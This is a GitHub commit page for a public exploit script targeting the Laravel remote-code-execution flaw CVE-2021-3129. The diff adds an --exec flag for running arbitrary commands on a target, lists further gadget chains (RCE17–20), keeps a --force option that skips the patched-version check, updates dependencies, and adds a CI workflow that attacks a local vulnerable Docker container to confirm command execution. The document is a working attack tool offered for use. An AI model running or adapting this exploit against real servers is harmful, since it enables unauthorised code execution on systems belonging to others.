Skip to content

Commit

Permalink
feat: fixed deprecated packages + GitHub action for script testing
Browse files Browse the repository at this point in the history
  • Loading branch information
joshuavanderpoll committed Aug 5, 2024
1 parent adbbaeb commit 8133854
Show file tree
Hide file tree
Showing 3 changed files with 88 additions and 12 deletions.
56 changes: 56 additions & 0 deletions .github/workflows/docker-test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
name: Docker Test

on: [push, pull_request]

jobs:
build:
runs-on: ubuntu-latest

steps:
- name: Checkout code
uses: actions/checkout@v4

- name: Set up PHP
uses: shivammathur/setup-php@v2
with:
php-version: '8.1'

- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.x'

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3

- name: Build Docker image
run: docker build -t cve-testing .

- name: Run Docker container
run: docker run --name cve-testing-container -d -p 8000:8000 cve-testing

- name: Install Python dependencies
run: pip install -r requirements.txt

- name: Test Python script
id: test_script
run: |
python3 CVE-2021-3129.py --host=127.0.0.1:8000 --force --chain laravel/rce12 --exec pwd > output.log
cat output.log
continue-on-error: true

- name: Check Test Output
if: steps.test_script.outcome == 'success'
run: |
if grep -q '/src/laravel/public' output.log; then
echo "Test passed"
else
echo "Test failed"
exit 1
fi
- name: Stop and remove container
if: always()
run: |
docker stop cve-testing-container
docker rm cve-testing-container
37 changes: 26 additions & 11 deletions CVE-2021-3129.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,14 +7,14 @@
import base64
import zipfile
import stat
import pkg_resources
import re
import subprocess
import readline
import json
import shutil
import uuid
from urllib.parse import urlparse
from packaging import version


PURPLE = '\033[95m'
Expand Down Expand Up @@ -53,7 +53,7 @@


class Main:
def __init__(self, host, force=False, log_path=None, useragent=False, chain=None, php_executable="php", private_key="", no_cache=False):
def __init__(self, host, force=False, log_path=None, useragent=False, chain=None, php_executable="php", private_key="", no_cache=False, exec_command=None):
self.host = host
self.force = force
self.log_path = log_path
Expand All @@ -67,8 +67,8 @@ def __init__(self, host, force=False, log_path=None, useragent=False, chain=None
self.operating_system = None
self.is_patched = False
self.last_used_chain = None
self.exec_command = exec_command


# Check for previous working chains
previous_chain = self.get_cache("working_chain")
if chain == None and self.get_cache("working_chain") != "":
Expand All @@ -93,6 +93,11 @@ def start(self):


def ask_command(self):
if self.exec_command:
self.cmd_clear_logs()
self.cmd_execute_cmd(self.exec_command)
return

response = input(f"{PURPLE}[?] Please enter a command to execute: {END}")
response_list = response.split(" ",1)
command = response_list[0].lower()
Expand Down Expand Up @@ -141,7 +146,7 @@ def cmd_clear_logs(self):
print(f"{GREEN}[√] Cleared Laravel logs!")


def cmd_execute_cmd(self, cmd: str, ignore_specials=False, output_success=True):
def cmd_execute_cmd(self, cmd: str, ignore_specials=False, output_success=True) -> bool:
while cmd == "":
cmd = input(f"{PURPLE}[?] Enter the command to execute {DARKCYAN}: ")

Expand Down Expand Up @@ -419,7 +424,7 @@ def generate_payload(self, command: str, padding=0, ignore_specials=False) -> li
# Prepare command
if not ignore_specials:
if '/' in command:
command = command.replace('/', '\/')
command = command.replace('/', '\\/')
command = command.replace('\'', '\\\'')

if '\'' in command:
Expand Down Expand Up @@ -568,8 +573,8 @@ def is_vulnerable(self):
print(f"{BLUE}[•] Laravel version found: \"{DARKCYAN}{laravel_version}{BLUE}\".")

if not self.force:
patched_version = pkg_resources.parse_version("8.4.2")
current_version = pkg_resources.parse_version(laravel_version)
patched_version = version.parse("8.4.2")
current_version = version.parse(laravel_version)
if current_version >= patched_version:
print(f"{RED}[!] Host is using a patched version of Laravel. Use parameter \"--force\" to bypass this check.")
exit()
Expand Down Expand Up @@ -608,7 +613,8 @@ def find_laravel_version(self, content: str):
return None


def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
def validate_url(url: str) -> bool:
# https://stackoverflow.com/a/7160778
regex = re.compile(
r'^(?:http)s?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
Expand All @@ -622,8 +628,12 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778

if __name__ == "__main__":
# Credits
print(f"{PURPLE}{BOLD}\n _____ _____ ___ __ ___ _ _____ ___ ___ \n / __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \\\n | (__ \ V /| _|___/ / () / /| |___|_ \ |/ /\_, /\n \___| \_/ |___| /___\__/___|_| |___/_/___|/_/\n {UNDERLINE}https://github.com/joshuavanderpoll/CVE-2021-3129{END}\n")
print(f"{END}{PURPLE}[•] Using PHPGGC: {UNDERLINE}https://github.com/ambionics/phpggc{END}{RED}")
print(f"\n{PURPLE}{BOLD} _____ _____ ___ __ ___ _ _____ ___ ___ ")
print(f"{PURPLE}{BOLD} / __\\ \\ / / __|_|_ ) \\_ ) |__|__ / |_ ) _ \\")
print(f"{PURPLE}{BOLD}| (__ \\ V /| _|___/ / () / /| |___|_ \\ |/ /_, /")
print(f"{PURPLE}{BOLD} \\___| \\_/ |___| /___\\__/___|_| |___/_/___|/_/ ")
print(f"{PURPLE}{BOLD}{UNDERLINE} https://github.com/joshuavanderpoll/CVE-2021-3129{END}")
print(f"{END}{PURPLE} Using PHPGGC: {UNDERLINE}https://github.com/ambionics/phpggc{END}{RED}\n")

# Arguments
parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script')
Expand All @@ -636,6 +646,7 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
parser.add_argument('--php', help='Path to PHP executable', required=False, default="php")
parser.add_argument('--private-key', help='Private key for patched hosts', required=False, default="")
parser.add_argument('--no-cache', help='Do\'t store private patch keys and chain results', required=False, default=False, action='store_true')
parser.add_argument('--exec', help='Command to execute', required=False, default=False)

args = parser.parse_args()

Expand All @@ -659,6 +670,10 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
f"{PURPLE}- Laravel/RCE14 (5.3.0 <= 9.5.1+)\n"
f"{PURPLE}- Laravel/RCE15 (5.5.0 <= v9.5.1+)\n"
f"{PURPLE}- Laravel/RCE16 (5.6.0 <= v9.5.1+)\n"
f"{PURPLE}- Laravel/RCE17 (10.31.0)\n"
f"{PURPLE}- Laravel/RCE18 (10.31.0)\n"
f"{PURPLE}- Laravel/RCE19 (10.34)\n"
f"{PURPLE}- Laravel/RCE20 (5.6 <= 10.x)\n"
f"\n"
f"{PURPLE}- Monolog/RCE1 (1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+)\n"
f"{PURPLE}- Monolog/RCE2 (1.4.1 <= 2.2.0+)\n"
Expand Down Expand Up @@ -691,4 +706,4 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
exit()

requests.packages.urllib3.disable_warnings()
x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain, php_executable=args.php, private_key=args.private_key, no_cache=args.no_cache)
x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain, php_executable=args.php, private_key=args.private_key, no_cache=args.no_cache, exec_command=args.exec)
7 changes: 6 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1 +1,6 @@
requests~=2.27.1
certifi==2024.7.4
charset-normalizer==3.3.2
idna==3.7
packaging==24.1
requests==2.32.3
urllib3==2.2.2

0 comments on commit 8133854

Please sign in to comment.